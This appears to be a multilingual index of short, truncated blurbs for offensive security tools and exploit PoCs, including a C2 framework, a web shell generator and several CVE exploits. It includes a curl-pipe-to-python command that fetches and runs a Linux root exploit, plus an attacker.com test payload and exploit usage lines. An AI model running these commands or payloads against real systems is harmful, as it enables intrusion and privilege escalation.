FISSURE

FISSURE - The RF Framework 频率无关的基于SDR的信号理解与逆向工程 概述视频 FISSURE 操作概述 | FISSURE 概述（幻灯片） ---|--- 简介 FISSURE 是一个 开源射频框架 ，支持 操作部署 以及 研究与教育 。 对于 操作人员 ，它提供了可快速部署的工具包，用于信号检测、分类、协议发现、模糊测试、漏洞分析以及实时集成到 TAK。 对于 教育者和研究人员 ，它降低了 SDR 和逆向工程的入门门槛，提供了一个用于学习、实验和发布新方法的共享环境。 FISSURE 通过将软件、库和参考材料集中到一个一致的框架中，简化了复杂的 SDR...

emp3r0r

emp3r0r Self‑healing Gossip Mesh C2 with Assisted Peer Discovery, Cross-Platform BOF Execution, and Scriptable Agents. What is emp3r0r?...

CVE-2026-31431-Copy-Fail

CVE-2026-31431 — "Copy Fail": Linux Kernel algifaead Local Privilege Escalation CISA KEV | CVSS 7.8 HIGH | Affects Linux kernels 4.14 – early 2026 9 years Table of Contents 1. Executive Summary 2. Risk Assessment 3. Technical Deep Dive 4. Attack Methodology — Red Team 5. Detection & Incident...

CVE-2023-43323

mooSocial：外部 HTTP 和 DNS 服务交互（CVE-2023-43323） mooSocial v3.1.8 在 post 功能中存在外部服务交互漏洞。执行后，服务器会向外部服务器发送 HTTP 和 DNS 请求。 漏洞参数：messageText 、datawallphoto 、datauserShareVideo 和 datauserShareLink 利用 - 概念验证（POC） 外部 HTTP 和 DNS 服务交互 root@kitploit: Payload : http://attacker.com/?null= 向...

content-packs

Paquetes de contenido para Eventum Proyectos de generador listos para usar para Eventum que producen eventos sintéticos realistas que imitan fuentes de datos SIEM reales. Cada generador produce JSON compatible con ECS que puede ser ingerido directamente en Elasticsearch, OpenSearch, o cualquier...

frida-c2-mcp

FridaC2MCP 一个基于流式 HTTP 传输的 MCP 服务器，完全在设备上运行 Frida 的动态插桩——无需客户端工具。 本项目直接在已 root 的 Android 和已越狱的 iOS 设备上运行 ，将 Frida 作为一组可通过 HTTP 调用的工具暴露出来。任何兼容 MCP 的客户端都可以连接到网络上的设备并执行动态插桩，而无需在本地安装任何 Frida 工具。 未来开发将主要面向Gemini CLI 和 Claude Code 作为主要客户端，因为它们都在原生构建多智能体编排和 MCP 支持——这与本项目将多个 MCP 服务器（例如 FridaC2MCP +...

CVE-2026-31431-copy-fail

Copy Fail Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same 732-byte Python script roots every Linux distribution shipped since 2017. Quick run: curl https://copy.fail/exp | python3 && su id uid=0root gid=1002user...

CVE-2023-28467

MyBB 1.8.33 XSS persistente en email del Panel de Control de Usuario root@kitploit: - MyBB 1.8.33 User CP email persistent XSS - Mybb version "@cve.com Solución Actualiza MyBB a la versión 1.8.34 o superior...

CVE-2026-33017

CVE-2026-33017 Langflow RCE ★ CVE-2026-33017 Langflow PoC de Ejecución Remota de Código ★ https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7 Configuración del Entorno Utilice los siguientes comandos para construir y ejecutar el entorno vulnerable de Langflow:...

CVE-2026-48778

CVE-2026-48778 PoC RCE en Notepad++ mediante commandLineInterpreter en config.xml Uso root@kitploit: .\CVE-2026-48778.exe calc.exe Demo https://github.com/user-attachments/assets/79ec82c9-ab37-4923-b62d-325710095e86 Resumen de la vulnerabilidad...

CVE-2026-31431

CopyFail CVE-2026-31431 Overview CopyFail is a proof-of-concept exploit for CVE-2026-31431, targeting a memory corruption vulnerability in the Linux Kernel Crypto API AFALG. The exploit leverages the splice system call to perform unauthorized page-cache patching of the /usr/bin/su binary, enablin...

ScreenConnect-AuthBypass-RCE

Cómo usar Estoy usando Python3.9 root@kitploit: pip install requests python check.py python batchAdduser.py root@kitploit: python ScreenConnect-AuthBypass-RCE.py -h usage: ScreenConnect-AuthBypass-RCE.py -h -u USERNAME -p PASSWORD -t TARGET -d DOMAIN --proxy PROXY CVE-2024-1708 && CVE-2024-1709 -...

wsh

wsh wsh（发音为woosh）是一个Web Shell生成器和命令行界面。最初它只是一个HTTP客户端，因为与Web Shell交互很麻烦。通常有一个表单，要发送命令，你必须在输入框中输入并点击按钮。我希望有一个更适合自己工作流程的工具，并在终端中运行。于是wsh应运而生。 该客户端具有命令历史、日志记录功能，并可配置为与之前部署的标准Web Shell（带有表单/按钮）进行交互。生成器可以创建php、asp和jsp格式的Web...

CVE-2026-31431-python-copyfail-POC

CVE-2026-31431: Copy Fail - Escalada de Privilegios en el Kernel de Linux Copy Fail CVE-2026-31431 es un error lógico crítico en el subsistema criptográfico del kernel de Linux que permite a usuarios sin privilegios lograr una escalada de privilegios a root. La vulnerabilidad afecta a los kernels...

BackupOperatorToDA

从备份操作员到域管理员 如果您攻陷了“备份操作员”组成员账户，您无需在域控制器上使用RDP或WinRM即可成为域管理员。 全部功劳归功于 filipdragovic 及其初始 POC！我构建此项目是因为我想要一个更通用的、带参数的二进制文件，并且能够将 SAM 数据库导出到远程共享！ root@kitploit: PS C:\Users\mpgn\POC .\BackupOperatorToDA.exe -h Backup Operator to Domain Admin by @mpgnx64 此工具感谢 @filipdragovic /...

CVE-2026-42167-PoC

Descripción Este repositorio contiene un exploit funcional para CVE-2026-42167. La falla existe en cómo modsql maneja ciertas variables de registro como %U, lo que permite a un atacante no autenticado inyectar comandos SQL a través del comando USER. Tipo de vulnerabilidad: Inyección SQL CWE-89...

corelight-client

.. corelight-client: .. Version number is filled in automatically. .. |version| replace:: 1.5.17 ==================================== Cliente de línea de comandos de Corelight Sensor .. contents:: Resumen Esta herramienta proporciona un cliente de línea de comandos para el Sensor Corelight , un...

Cisco-CVE-2020-3452-shodan-scanner

Cisco-CVE-2020-3452-checker 用于 Cisco CVE-2020-3452 漏洞检测的简单 bash 脚本 要求： Shodan-CLI : pip install -U --user shodan" https://help.shodan.io/command-line-interface/0-installation 免责声明： 该脚本仅用于安全分析和研究，因此，如果被用于非法活动，我将不承担任何责任。...

orb

Orb — 零信任文件夹隧道工具 Orb 是一个安全的、终端优先的实用工具，让你能够通过端到端加密在互联网上共享本地文件夹。无需账户、无需云存储、无需端口转发。 演示 共享文件夹 单命令共享文件夹——全程端到端加密 浏览共享文件 用于安全文件访问的交互式 TUI 浏览器 特性 零信任架构 ：中继服务器永远无法看到明文数据 强加密 ：Argon2id 用于密钥派生，Noise Protocol 用于握手，ChaCha20-Poly1305 用于传输加密 跨平台 ：支持 Linux、macOS 和 Windows NAT 穿透 ：所有连接均为出站连接，可在防火墙后工作 TUI 文件浏览器...

rengine

reNgine: The Ultimate Web Reconnaissance & Vulnerability Scanner 🚀 reNgine 2.2.0 is released! reNgine 2.2.0 comes with bounty hub where you can sync and import your hackerone programs, in app notifications, chaos as subdomain e...